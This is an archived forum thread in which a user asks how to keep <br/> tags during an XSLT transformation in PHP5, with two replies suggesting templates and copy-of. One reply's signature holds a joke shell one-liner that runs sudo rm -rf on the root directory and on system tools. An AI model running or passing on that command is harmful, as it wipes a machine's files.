Velocity Reviews - Computer Hardware Reviews

Velocity Reviews > Newsgroups > Programming > XML > HTML tags

Reply
Thread Tools

HTML tags

 
 
OmyGOD
Guest
Posts: n/a
 
      08-15-2005
Hi,
I am trying to transform XML code like

<text>
This is the first line<br />
This is the second line
</text>

and XSL

<xsl:value-of select="text" />

with XSLTProcessor.(which is provided by an extension of PHP5)

but I can get result like this

This is the first line
This is the second line

how can I keep the <br /> tag during transformation.

Thanks

 
Reply With Quote
 
 
 
 
Soren Kuula
Guest
Posts: n/a
 
      08-15-2005
OmyGOD wrote:
> Hi,
> I am trying to transform XML code like
>
> <text>
> This is the first line<br />
> This is the second line
> </text>
>
> and XSL
>
> <xsl:value-of select="text" />
>
> with XSLTProcessor.(which is provided by an extension of PHP5)
>
> how can I keep the <br /> tag during transformation.


The value-of, on a node, will contantenate together all the text nodes
in the subtree rooted in the node, and return that...

Seems you just want to make an identical copy of everything? Or only of
the contents of a text element?

<?xml version='1.0' encoding='utf-8' ?>^M^M
<xsl:stylesheet version="1.0"
xmlnssl="http://www.w3.org/1999/XSL/Transform">


<!-- Don't copy text elements, but do copy their contents -->
<xsl:template match="text">
<xsl:apply-templates/>
</xsl:template>

<xsl:template match="*">
<xsl:copy>
<xsl:apply-templates select="text() | *"/>
</xsl:copy>
</xsl:template>

<xsl:template select="text()">
<xsl:value-of select="."/>
</xsl:template>

</xsl:stylesheet>

Soren
 
Reply With Quote
 
 
 
 
Peter Flynn
Guest
Posts: n/a
 
      08-16-2005
OmyGOD wrote:

> Hi,
> I am trying to transform XML code like
>
> <text>
> This is the first line<br />
> This is the second line
> </text>
>
> and XSL
>
> <xsl:value-of select="text" />
>
> with XSLTProcessor.(which is provided by an extension of PHP5)
>
> but I can get result like this
>
> This is the first line
> This is the second line
>
> how can I keep the <br /> tag during transformation.


Don't use value-of: its job is to output content stripped of all markup.
Either use copy-of to preserve the markup, or define a rule for br such as

<xsl:template match="br"><br/></xsl:template>

which simply re-outputs the markup.

///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
 
Reply With Quote
 
 
 
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
All style tags after the first 30 style tags on an HTML page are not applied in Internet Explorer Rob Nicholson ASP .Net 3 05-28-2005 03:11 PM
html tags within meta tags allowed? Donald Firesmith XML 5 01-08-2005 11:29 PM
JSP newbie - use include, custom tags, standard tags - or what? Mike Java 3 01-09-2004 09:30 AM
RegEx to find CFML tags nested in HTML tags Dean H. Saxe Perl 0 01-03-2004 06:11 PM
Custom Tags within Custom Tags. Ranganath Java 2 10-21-2003 06:14 AM



Advertisments